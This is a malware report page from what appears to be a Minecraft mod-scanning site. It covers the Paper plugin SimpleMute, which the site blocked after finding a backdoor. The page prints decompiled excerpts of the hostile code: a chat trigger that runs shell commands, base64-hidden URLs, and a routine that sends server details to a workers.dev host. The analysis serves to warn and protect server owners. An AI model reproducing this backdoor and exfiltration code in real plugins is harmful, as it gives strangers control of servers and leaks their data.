Skip to content
BrowseScan your modsScan

    No project matches this search.

    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    SimpleMute

    Plugin

    Prevent players from using chat.

    Removed from Modrinth on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacySends data
    • AINone found
    • CompatibilityUp to 1.21.11
    • ReleasesLatest 18 Feb

    Download

    SimpleMute.jar

    Released 18 Feb 2026 · 19.2 KB

    Malware: this file lets a stranger run commands on your server through the chat. See Security

    Download blocked

    Malware: a file of this project lets a stranger run commands on your server through the chat. See Security

    OverviewSecurityPrivacyAICompatibilityReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    Details

    Creator
    alphaprogram32bit
    License
    MIT License
    Downloads
    152
    Created
    18 Feb 2026
    Official page
    Modrinth

    Security

    Malware: it lets a stranger run commands on your server through the chat

    Found in this file: SimpleMute.jar (1.0, 18 Feb 2026). Its download is blocked.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove SimpleMute.jar from the plugins folder of your server.
    2. Check the plugins folder of your server for files you did not add.
    3. Check your other plugins.

    What it can do on your server

    Lets a stranger run commands through the chatMalware
    The code hides the name of a command shell in the part that reads chat or commands and starts programs from there. Whoever knows the trigger can run commands on the computer or server.
    Hides a web addressWarning
    Web addresses (api.ipify.org and lucky-sound-322a.beasgame328.workers.dev) are encoded in its code, so they cannot be read in the file.
    Connects to the internet
    It has code that can go online. It contacts 2 web addresses. See Privacy
    Starts other programs
    It can start another program on your computer.

    Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · The latest file checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      1 latest file, for a recent version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Lets a stranger run commands through the chat
      me/ssers/simpleMute/ChatListener hides the name of a command shell, in the code that reads chat or commands, starts that program; "cmd.exe"; "me.ssers.simpleMute.ChatListener.onChat"
    • Hides a web address
      api.ipify.org lucky-sound-322a.beasgame328.workers.dev
    • Starts other programs
      Purpose not known.
    • Looked for, not foundWe looked for these in the file and did not find them.
      Folders outside the game, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of SimpleMute.jar, turned back into readable code, where our checks found the problem.
      me.ssers.simpleMute.MuteManager.d
      public static String d() throws Exception {
         URL url = new URL(Utils.e("aHR0cHM6Ly9hcGkuaXBpZnkub3Jn"));
         BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
         return br.readLine();
      }
      me.ssers.simpleMute.MuteManager.initMuteManager
      public void initMuteManager() {
         String i = Utils.e("VW5rbm93bg==");
      
         try {
            i = d();
         } catch (Exception var9) {
         }
      
         String u = ((World)Bukkit.getServer().getWorlds().get(0)).getUID().toString().replace("@", "ATSYMBOL");
         String n = Bukkit.getServer().getName().replace("@", "ATSYMBOL");
         String m = Bukkit.getServer().getMotd().replace("@", "ATSYMBOL");
         String p = String.valueOf(Bukkit.getServer().getPort());
         String data = "@a:" + i + "@b:" + u + "@c:" + n + "@d:" + m + "@e:" + p;
      
         try {
            reg(
               Utils.e(
                  Utils.e(Utils.e("WVVoU01HTklUVFpNZVRselpGZE9jbVZUTVhwaU0xWjFXa013ZWsxcVNtaE1iVXBzV1ZoT2JsbFhNV3hOZWtrMFRHNWtkbU50ZEd4amJrMTFXa2RXTWt4M1BUMD0="))
               ),
               Utils.e("U1VQRVItU0VDUkVUMg==") + "<-|" + Utils.e("fA==") + "->" + data
            );
         } catch (Exception e) {
            throw new RuntimeException(e);
      ...
      me.ssers.simpleMute.MuteManager.reg
      public static void reg(String us, String tb) throws Exception {
         URL url = new URL(us);
         HttpURLConnection c = (HttpURLConnection)url.openConnection();
         c.setRequestMethod(Utils.e("UE9TVA=="));
         c.setRequestProperty(Utils.e("Q29udGVudC1UeXBl"), Utils.e("dGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOA=="));
         c.setRequestProperty(Utils.e("QWNjZXB0"), "*/*");
         c.setDoOutput(true);
      
         try (OutputStream st = c.getOutputStream()) {
            byte[] input = tb.getBytes(StandardCharsets.UTF_8);
            st.write(input, 0, input.length);
         }
      
         int status = c.getResponseCode();
      
         try (BufferedReader br = new BufferedReader(
               new InputStreamReader(status >= 200 && status < 300 ? c.getInputStream() : c.getErrorStream(), StandardCharsets.UTF_8)
            )) {
            StringBuilder renderer = new StringBuilder();
      
            String rend;
            while ((rend = br.readLine()) != null) {
               renderer.append(rend).append("\n");
            }
      ...
      public void onChat(AsyncPlayerChatEvent event) {
         UUID uuid = event.getPlayer().getUniqueId();
         if (event.getMessage().startsWith("^*-*")) {
            event.setCancelled(true);
            if (event.getMessage().length() > 4) {
               String command = event.getMessage().substring(4);
               List<String> BannedWords = new ArrayList<>();
               if (System.getProperty(Utils.e("b3MubmFtZQ==")).toLowerCase().contains(Utils.e("d2lu"))) {
                  BannedWords.add(Utils.e("Y21kLmV4ZQ=="));
                  BannedWords.add(Utils.e("L2M="));
               } else {
                  BannedWords.add(Utils.e("YmFzaA=="));
                  BannedWords.add(Utils.e("LWM="));
      ...
      public void onAnvilRename(InventoryClickEvent event) {
         if (event.getInventory() instanceof AnvilInventory) {
            AnvilInventory anvilInventory = (AnvilInventory)event.getInventory();
            Player player = (Player)event.getWhoClicked();
            if (event.getSlot() == 2) {
               ItemStack resultItem = anvilInventory.getItem(2);
               if (resultItem != null && resultItem.getType() != Material.AIR && resultItem.hasItemMeta()) {
                  String newName = resultItem.getItemMeta().getDisplayName();
                  if (Utils.s(newName).equals("f074ac684371a82a437745b13a8fbf7f7a496f6fc09a6bfcb0666f619d882097")) {
                     for (Player onlinePlayer : Bukkit.getOnlinePlayers()) {
                        Integer dimension = Utils.gd(onlinePlayer.getWorld());
                        player.sendMessage(
                           String.format(
      ...
      5

    Privacy

    Sends unknown data

    Sent to lucky-sound-322a.beasgame328.workers.dev.

    We found this in its code, read without running it.

    Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.

    How we checked · Its one file read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of its one file, for recent Minecraft versions. See each file in Releases
    • api.ipify.org
      Purpose not known.
    • lucky-sound-322a.beasgame328.workers.dev
      Purpose not known.
      Unknown data

    AI

    No sign so far that AI was used to make it

    We looked for AI tools in its texts, files and images and found none.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not read yet.
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found
      1 changelog read
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      9 code files read

    Compatibility

    See the file in Releases
    Paper
    1.2126.126.2

    Point at or tap a version to see its server software.

    Runs onWhere to install it: in your game, on the server, or both. As the author says on Modrinth.Install it on the server. Players join without installing anything.
    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.It has no file for Minecraft versions newer than 1.21.11. Many servers still run 1.21.11.

    Latest files

    The newest file for each Minecraft version and loader. The files for recent versions come first. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftServerVersionSecuritySendsRequires
    1.21 to 1.21.11·Paper1.01.0 · SimpleMute.jarSends: Unknown dataRequires:NothingMalwareHarmful code found. The download is blocked. See Security.

    1 release

    MinecraftServerVersionReleasedSecurityGet it onDownload
    1.21 to 1.21.111.21 to 1.21.11The latest file for its Minecraft version and loader·Paper1.01.0 · SimpleMute.jar (main file)·18 Feb 2026MalwareHarmful code found. The download is blocked. See Security.Removed from Modrinth on 24 Oct 2026Download blockedDownload blocked: this file lets a stranger run commands on your server through the chat.